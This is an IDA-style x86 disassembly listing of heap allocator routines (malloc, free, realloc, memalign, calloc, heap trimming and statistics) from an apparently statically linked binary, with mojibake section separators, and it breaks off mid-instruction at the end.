陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C24C: ; CODE XREF: malloc+3A4j mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx jmp short loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C264: ; CODE XREF: malloc+434j malloc+470j mov ebx, dword_8078B38 mov edi, [ebp+var_C] or edi, 1 mov [ebx], edi mov eax, [ebp+var_C] add eax, ebx mov dword_8078B38, eax or dl, 1 mov [eax], edx loc_805C281: ; CODE XREF: malloc+78j malloc+1C5j ... lea eax, [ebx+4] loc_805C284: ; CODE XREF: malloc+474j lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn malloc endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame free proc near ; CODE XREF: send_packet_sig3+17Bp ; send_packet_sig3+18Ep ... var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov eax, [ebp+arg_0] test eax, eax jz loc_805C4ED lea edi, [eax-4] mov eax, [eax-4] test al, 2 jz short loc_805C2BC push edi call sub_805BB34 jmp loc_805C4ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C2BC: ; CODE XREF: free+1Cj mov esi, eax and esi, 0FFFFFFFEh lea ecx, [esi+edi] mov [ebp+var_C], ecx mov ebx, [ecx] and bl, 0FCh mov [ebp+var_4], ebx cmp dword_8078B38, ecx jnz short loc_805C31C add esi, ebx test al, 1 jnz short loc_805C2F3 mov eax, [edi-4] sub edi, eax add esi, eax mov ecx, [edi+8] mov [ebp+var_10], ecx mov edx, [edi+4] mov [edx+8], ecx mov [ecx+4], edx loc_805C2F3: ; CODE XREF: free+4Bj mov ebx, esi or bl, 1 mov [edi], ebx mov dword_8078B38, edi cmp dword_8078F3C, esi ja loc_805C4ED mov eax, dword_8078F40 push eax call sub_805C944 jmp loc_805C4ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C31C: ; CODE XREF: free+45j mov ecx, [ebp+var_4] mov ebx, [ebp+var_C] mov [ebx], ecx mov [ebp+var_8], 0 test al, 1 jnz short loc_805C357 mov eax, [edi-4] sub edi, eax add esi, eax cmp dword ptr [edi+4], offset dword_8078B3C jnz short loc_805C348 mov [ebp+var_8], 1 jmp short loc_805C357 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C348: ; CODE XREF: free+ADj mov ecx, [edi+8] mov [ebp+var_10], ecx mov edx, [edi+4] mov [edx+8], ecx mov [ecx+4], edx loc_805C357: ; CODE XREF: free+9Dj free+B6j mov ebx, [ebp+var_C] mov ecx, [ebp+var_4] test byte ptr [ecx+ebx], 1 jnz short loc_805C3AD add esi, ecx cmp [ebp+var_8], 0 jnz short loc_805C398 cmp dword ptr [ebx+4], offset dword_8078B3C jnz short loc_805C398 mov [ebp+var_8], 1 mov dword_8078B44, edi mov dword_8078B40, edi mov dword ptr [edi+8], offset dword_8078B3C mov dword ptr [edi+4], offset dword_8078B3C jmp short loc_805C3AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C398: ; CODE XREF: free+D9j free+E2j mov ebx, [ebp+var_C] mov ebx, [ebx+8] mov [ebp+var_10], ebx mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [edx+8], ebx mov [ebx+4], edx loc_805C3AD: ; CODE XREF: free+D1j free+105j mov ebx, esi or bl, 1 mov [edi], ebx mov [esi+edi-4], esi cmp [ebp+var_8], 0 jnz loc_805C4ED cmp esi, 1FFh ja short loc_805C404 shr esi, 3 mov [ebp+var_C], esi mov eax, [ebp+var_C] test eax, eax jge short loc_805C3DA add eax, 3 loc_805C3DA: ; CODE XREF: free+145j sar eax, 2 mov ebx, 1 mov ecx, eax shl ebx, cl mov eax, ebx or dword_8078B34, eax mov ecx, [ebp+var_C] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_10], ecx mov edx, [ecx+4] jmp loc_805C4E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C404: ; CODE XREF: free+138j mov eax, esi shr eax, 9 jnz short loc_805C418 mov ebx, esi shr ebx, 3 mov [ebp+var_C], ebx jmp loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C418: ; CODE XREF: free+179j mov eax, esi shr eax, 9 cmp eax, 4 ja short loc_805C430 mov ecx, esi shr ecx, 6 add ecx, 38h mov [ebp+var_C], ecx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C430: ; CODE XREF: free+190j mov eax, esi shr eax, 9 cmp eax, 14h ja short loc_805C444 add eax, 5Bh mov [ebp+var_C], eax jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C444: ; CODE XREF: free+1A8j mov eax, esi shr eax, 9 cmp eax, 54h ja short loc_805C45C mov ebx, esi shr ebx, 0Ch add ebx, 6Eh mov [ebp+var_C], ebx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C45C: ; CODE XREF: free+1BCj mov eax, esi shr eax, 9 cmp eax, 154h ja short loc_805C478 mov ecx, esi shr ecx, 0Fh add ecx, 77h mov [ebp+var_C], ecx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C478: ; CODE XREF: free+1D6j mov eax, esi shr eax, 9 cmp eax, 554h ja short loc_805C494 mov ebx, esi shr ebx, 12h add ebx, 7Ch mov [ebp+var_C], ebx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C494: ; CODE XREF: free+1F2j mov [ebp+var_C], 7Eh loc_805C49B: ; CODE XREF: free+183j free+19Dj ... mov ecx, [ebp+var_C] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_10], ecx mov edx, [ecx+4] cmp edx, ecx jnz short loc_805C4C8 mov eax, [ebp+var_C] mov ecx, eax sar ecx, 2 mov eax, 1 shl eax, cl or dword_8078B34, eax jmp short loc_805C4DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C4C8: ; CODE XREF: free+21Dj free+246j mov eax, [edx] and al, 0FCh cmp esi, eax jnb short loc_805C4D8 mov edx, [edx+4] cmp [ebp+var_10], edx jnz short loc_805C4C8 loc_805C4D8: ; CODE XREF: free+23Ej mov ebx, [edx+8] mov [ebp+var_10], ebx loc_805C4DE: ; CODE XREF: free+234j mov ecx, [ebp+var_10] loc_805C4E1: ; CODE XREF: free+16Ej mov [edi+8], ecx mov [edi+4], edx mov [ecx+4], edi mov [edx+8], edi loc_805C4ED: ; CODE XREF: free+Ej free+24j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn free endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx cmp dword ptr [ebp+8], 0 jnz short loc_805C518 mov edx, [ebp+0Ch] push edx call malloc jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C518: ; CODE XREF: .text:0805C505j mov esi, [ebp+8] add esi, 0FFFFFFFCh mov [ebp-8], esi mov edi, [ebp+8] mov edi, [edi-4] and edi, 0FFFFFFFCh mov [ebp-10h], edi mov [ebp-0Ch], edi cmp dword ptr [ebp+0Ch], 0Bh jle short loc_805C544 mov edx, [ebp+0Ch] add edx, 0Bh and dl, 0F8h mov [ebp-4], edx jmp short loc_805C54B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C544: ; CODE XREF: .text:0805C534j mov dword ptr [ebp-4], 10h loc_805C54B: ; CODE XREF: .text:0805C542j mov edi, [ebp-8] test byte ptr [edi], 2 jz short loc_805C5B8 mov edx, [ebp-4] push edx push edi call sub_805BB64 mov esi, eax add esp, 8 test esi, esi jnz loc_805C7CD mov edi, [ebp-4] cmp [ebp-0Ch], edi jb short loc_805C57C mov eax, [ebp+8] jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C57C: ; CODE XREF: .text:0805C570j mov edx, [ebp+0Ch] push edx call malloc mov ebx, eax add esp, 4 test ebx, ebx jz loc_805C746 mov eax, [ebp-0Ch] add eax, 0FFFFFFFCh push eax mov edi, [ebp+8] push edi push ebx call memcpy add esp, 0Ch mov edx, [ebp-8] push edx call sub_805BB34 mov eax, ebx jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C5B8: ; CODE XREF: .text:0805C551j mov edi, [ebp-4] cmp [ebp-0Ch], edi jge loc_805C78A mov ecx, [ebp-8] add ecx, [ebp-0Ch] cmp dword_8078B38, ecx jz short loc_805C5DC mov eax, [ecx] and al, 0FEh test byte ptr [eax+ecx], 1 jnz short loc_805C64C loc_805C5DC: ; CODE XREF: .text:0805C5D0j mov ebx, [ecx] and bl, 0FCh cmp dword_8078B38, ecx jnz short loc_805C628 mov esi, [ebp-10h] add esi, ebx mov eax, [ebp-4] add eax, 10h cmp esi, eax jl short loc_805C650 mov eax, [ebp-8] add eax, [ebp-4] mov dword_8078B38, eax sub esi, [ebp-4] mov edx, esi or dl, 1 mov [eax], edx mov edi, [ebp-8] mov eax, [edi] and eax, 1 or eax, [ebp-4] mov [edi], eax mov eax, [ebp-8] add eax, 4 jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C628: ; CODE XREF: .text:0805C5E7j mov edx, [ebp-10h] add edx, ebx mov [ebp-14h], edx mov edi, [ebp-4] cmp edx, edi jl short loc_805C650 mov eax, [ecx+8] mov ecx, [ecx+4] mov [ecx+8], eax mov [eax+4], ecx mov [ebp-10h], edx jmp loc_805C78A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C64C: ; CODE XREF: .text:0805C5DAj xor ecx, ecx xor ebx, ebx loc_805C650: ; CODE XREF: .text:0805C5F6j ; .text:0805C635j mov edx, [ebp-8] test byte ptr [edx], 1 jnz loc_805C734 sub edx, [edx-4] mov [ebp-14h], edx mov esi, [edx] and esi, 0FFFFFFFCh test ecx, ecx jz loc_805C6F4 cmp dword_8078B38, ecx jnz short loc_805C6D8 lea eax, [esi+ebx] mov ebx, [ebp-10h] add ebx, eax mov eax, [ebp-4] add eax, 10h cmp ebx, eax jl short loc_805C6F4 mov eax, [edx+8] mov ecx, [edx+4] mov [ecx+8], eax mov [eax+4], ecx mov esi, [ebp-14h] mov [ebp-10h], ebx lea ebx, [esi+4] mov eax, [ebp-0Ch] add eax, 0FFFFFFFCh push eax mov edi, [ebp+8] push edi push ebx call memcpy mov edx, [ebp-4] add edx, esi mov dword_8078B38, edx mov eax, [ebp-10h] sub eax, [ebp-4] or al, 1 mov [edx], eax mov eax, [esi] and eax, 1 or eax, [ebp-4] mov [esi], eax mov eax, ebx jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C6D8: ; CODE XREF: .text:0805C675j lea eax, [esi+ebx] mov ebx, [ebp-10h] add ebx, eax cmp [ebp-4], ebx jg short loc_805C6F4 mov eax, [ecx+8] mov ecx, [ecx+4] mov [ecx+8], eax mov [eax+4], ecx jmp short loc_805C704 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C6F4: ; CODE XREF: .text:0805C669j ; .text:0805C687j ... cmp dword ptr [ebp-14h], 0 jz short loc_805C734 mov ebx, [ebp-10h] add ebx, esi cmp [ebp-4], ebx jg short loc_805C734 loc_805C704: ; CODE XREF: .text:0805C6F1j mov edi, [ebp-14h] mov eax, [edi+8] mov ecx, [edi+4] mov [ecx+8], eax mov [eax+4], ecx mov esi, [ebp-14h] mov [ebp-10h], ebx lea ebx, [esi+4] mov eax, [ebp-0Ch] add eax, 0FFFFFFFCh push eax mov edx, [ebp+8] push edx push ebx call memcpy add esp, 0Ch jmp short loc_805C78A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C734: ; CODE XREF: .text:0805C656j ; .text:0805C6F8j ... mov edi, [ebp+0Ch] push edi call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805C750 loc_805C746: ; CODE XREF: .text:0805C58Cj xor eax, eax jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C750: ; CODE XREF: .text:0805C744j lea esi, [ebx-4] mov edx, [ebp-8] mov eax, [edx] and al, 0FEh add eax, edx cmp esi, eax jz short loc_805C780 mov eax, [ebp-0Ch] add eax, 0FFFFFFFCh push eax mov edi, [ebp+8] push edi push ebx call memcpy add esp, 0Ch push edi call free mov eax, ebx jmp short loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C780: ; CODE XREF: .text:0805C75Ej mov eax, [esi] and al, 0FCh add [ebp-10h], eax mov esi, [ebp-8] loc_805C78A: ; CODE XREF: .text:0805C5BEj ; .text:0805C646j ... mov ecx, [ebp-10h] sub ecx, [ebp-4] cmp ecx, 0Fh jbe short loc_805C7BC mov eax, [ebp-4] add eax, esi mov edx, [esi] and edx, 1 or edx, [ebp-4] mov [esi], edx mov edi, ecx or edi, 1 mov [eax], edi or byte ptr [ecx+eax], 1 add eax, 4 push eax call free jmp short loc_805C7CD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C7BC: ; CODE XREF: .text:0805C793j mov eax, [esi] and eax, 1 or eax, [ebp-10h] mov [esi], eax mov edx, [ebp-10h] or byte ptr [edx+esi], 1 loc_805C7CD: ; CODE XREF: .text:0805C564j ; .text:0805C7B8j lea eax, [esi+4] loc_805C7D0: ; CODE XREF: .text:0805C510j ; .text:0805C575j ... lea esp, [ebp-20h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805C7DC proc near ; CODE XREF: .text:0805C8F8p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp ebx, 8 ja short loc_805C7FC push edx call malloc jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C7FC: ; CODE XREF: sub_805C7DC+12j cmp ebx, 0Fh ja short loc_805C806 mov ebx, 10h loc_805C806: ; CODE XREF: sub_805C7DC+23j cmp edx, 0Bh jle short loc_805C814 lea edi, [edx+0Bh] and edi, 0FFFFFFF8h jmp short loc_805C819 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C814: ; CODE XREF: sub_805C7DC+2Dj mov edi, 10h loc_805C819: ; CODE XREF: sub_805C7DC+35j lea eax, [ebx+edi+10h] push eax call malloc mov [ebp+var_4], eax add esp, 4 test eax, eax jnz short loc_805C834 xor eax, eax jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C834: ; CODE XREF: sub_805C7DC+4Fj mov esi, [ebp+var_4] add esi, 0FFFFFFFCh mov eax, [ebp+var_4] xor edx, edx div ebx test edx, edx jnz short loc_805C858 mov eax, [ebp+var_4] test byte ptr [eax-4], 2 jz short loc_805C8B8 mov eax, [ebp+var_4] jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C858: ; CODE XREF: sub_805C7DC+67j mov eax, [ebp+var_4] lea edx, [ebx+eax-1] mov eax, ebx neg eax and edx, eax add edx, 0FFFFFFFCh mov eax, edx sub eax, esi cmp eax, 0Fh ja short loc_805C873 add edx, ebx loc_805C873: ; CODE XREF: sub_805C7DC+93j mov ebx, edx sub edx, esi mov ecx, [esi] and cl, 0FCh sub ecx, edx test byte ptr [esi], 2 jz short loc_805C894 add edx, [esi-4] mov [ebx-4], edx or cl, 2 mov [ebx], ecx lea eax, [ebx+4] jmp short loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C894: ; CODE XREF: sub_805C7DC+A5j mov eax, ecx or al, 1 mov [ebx], eax or byte ptr [ecx+ebx], 1 mov eax, [esi] and eax, 1 or edx, eax mov [esi], edx add esi, 4 mov [ebp+var_4], esi push esi call free mov esi, ebx add esp, 4 loc_805C8B8: ; CODE XREF: sub_805C7DC+70j mov edx, [esi] and dl, 0FCh sub edx, edi cmp edx, 0Fh jle short loc_805C8DE lea eax, [edi+esi] or dl, 1 mov [eax], edx mov edx, [esi] and edx, 1 or edx, edi mov [esi], edx add eax, 4 push eax call free loc_805C8DE: ; CODE XREF: sub_805C7DC+E6j lea eax, [esi+4] loc_805C8E1: ; CODE XREF: sub_805C7DC+1Aj ; sub_805C7DC+53j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805C7DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] push eax push 1000h call sub_805C7DC mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805C904 proc near ; CODE XREF: authnone_create+16p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] imul eax, [ebp+arg_4] push eax call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805C924 xor eax, eax jmp short loc_805C93D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C924: ; CODE XREF: sub_805C904+18j test byte ptr [ebx-4], 2 jnz short loc_805C93B mov eax, [ebx-4] and al, 0FCh add eax, 0FFFFFFFCh push eax push 0 push ebx call memset loc_805C93B: ; CODE XREF: sub_805C904+24j mov eax, ebx loc_805C93D: ; CODE XREF: sub_805C904+1Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805C904 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805C944 proc near ; CODE XREF: free+82p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov eax, dword_8078B38 mov esi, [eax] and esi, 0FFFFFFFCh mov ebx, esi sub ebx, [ebp+arg_0] add ebx, 0FEFh mov eax, ebx shr eax, 0Ch lea ebx, [eax-1] shl ebx, 0Ch cmp ebx, 1000h jl short loc_805C9CC push 0 mov eax, dword_8078B30 call eax ; __default_morecore_init mov edx, eax mov eax, esi add eax, dword_8078B38 add esp, 4 cmp edx, eax jnz short loc_805C9CC mov eax, ebx neg eax push eax mov eax, dword_8078B30 call eax ; __default_morecore_init add esp, 4 test eax, eax jnz short loc_805C9D0 push 0 mov eax, dword_8078B30 call eax ; __default_morecore_init mov edx, eax mov esi, edx sub esi, dword_8078B38 cmp esi, 0Fh jle short loc_805C9CC sub edx, dword_8078F4C mov dword_8078F58, edx mov eax, dword_8078B38 or esi, 1 mov [eax], esi loc_805C9CC: ; CODE XREF: sub_805C944+2Bj ; sub_805C944+45j ... xor eax, eax jmp short loc_805C9E9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C9D0: ; CODE XREF: sub_805C944+58j mov edx, dword_8078B38 mov eax, esi sub eax, ebx or al, 1 mov [edx], eax sub dword_8078F58, ebx mov eax, 1 loc_805C9E9: ; CODE XREF: sub_805C944+8Aj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805C944 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] test eax, eax jnz short loc_805CA04 loc_805C9FE: ; CODE XREF: .text:0805CA16j xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805CA04: ; CODE XREF: .text:0805C9FCj lea edx, [eax-4] test byte ptr [eax-4], 2 jnz short loc_805CA18 mov eax, [eax-4] and al, 0FEh test byte ptr [eax+edx], 1 jz short loc_805C9FE loc_805CA18: ; CODE XREF: .text:0805CA0Bj mov eax, [edx] and al, 0FCh add eax, 0FFFFFFFCh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805CA24 proc near ; CODE XREF: malloc_stats+3p ; .text:0805CC21p var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov eax, dword_8078B38 mov ebx, [eax] and bl, 0FCh cmp ebx, 0Fh setnle al movzx ecx, al mov esi, offset dword_8078B3C mov [ebp+var_8], 8 mov edx, dword_8078B44 cmp edx, offset dword_8078B3C jz short loc_805CA6A lea esi, [esi] loc_805CA5C: ; CODE XREF: sub_805CA24+44j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CA5C loc_805CA6A: ; CODE XREF: sub_805CA24+34j add esi, 8 add [ebp+var_8], 8 mov edi, [ebp+var_8] mov edx, dword_8078B3C[edi] cmp edx, esi jz short loc_805CA8E lea esi, [esi] loc_805CA80: ; CODE XREF: sub_805CA24+68j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CA80 loc_805CA8E: ; CODE XREF: sub_805CA24+58j add esi, 8 add [ebp+var_8], 8 mov edi, [ebp+var_8] mov edx, dword_8078B3C[edi] cmp edx, esi jz short loc_805CAB2 lea esi, [esi] loc_805CAA4: ; CODE XREF: sub_805CA24+8Cj mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CAA4 loc_805CAB2: ; CODE XREF: sub_805CA24+7Cj add esi, 8 add [ebp+var_8], 8 cmp esi, offset off_8078F34 jz loc_805CB62 mov edi, [ebp+var_8] add edi, offset dword_8078B3C mov [ebp+var_4], edi lea esi, [esi+0] loc_805CAD4: ; CODE XREF: sub_805CA24+138j mov edi, [ebp+var_4] mov edx, [edi] cmp edx, esi jz short loc_805CAEE lea esi, [esi+0] loc_805CAE0: ; CODE XREF: sub_805CA24+C8j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CAE0 loc_805CAEE: ; CODE XREF: sub_805CA24+B7j lea edi, [esi+8] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+8] cmp [ebp+var_8], edx jz short loc_805CB0F nop loc_805CB00: ; CODE XREF: sub_805CA24+E9j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB00 loc_805CB0F: ; CODE XREF: sub_805CA24+D9j lea edi, [esi+10h] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+10h] cmp [ebp+var_8], edx jz short loc_805CB2F loc_805CB20: ; CODE XREF: sub_805CA24+109j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB20 loc_805CB2F: ; CODE XREF: sub_805CA24+FAj lea edi, [esi+18h] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+18h] cmp [ebp+var_8], edx jz short loc_805CB4F loc_805CB40: ; CODE XREF: sub_805CA24+129j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB40 loc_805CB4F: ; CODE XREF: sub_805CA24+11Aj add esi, 20h add [ebp+var_4], 20h cmp esi, offset off_8078F34 jnz loc_805CAD4 loc_805CB62: ; CODE XREF: sub_805CA24+9Bj mov dword_8078F5C, ecx mov edi, dword_8078F58 sub edi, ebx mov dword_8078F74, edi mov dword_8078F78, ebx mov eax, dword_8078F80 mov dword_8078F64, eax mov eax, dword_8078F88 mov dword_8078F68, eax mov eax, dword_8078B38 mov eax, [eax] and al, 0FCh mov dword_8078F7C, eax lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CA24 endp ; [0000006F BYTES: COLLAPSED FUNCTION malloc_stats. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+8] call sub_805CA24 mov edi, ebx mov esi, offset dword_8078F58 cld mov ecx, 0Ah repe movsd mov eax, ebx lea esp, [ebp-0Ch] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov edx, [ebp+0Ch] cmp eax, 0FFFFFFFDh jz short loc_805CC88 jg short loc_805CC5C cmp eax, 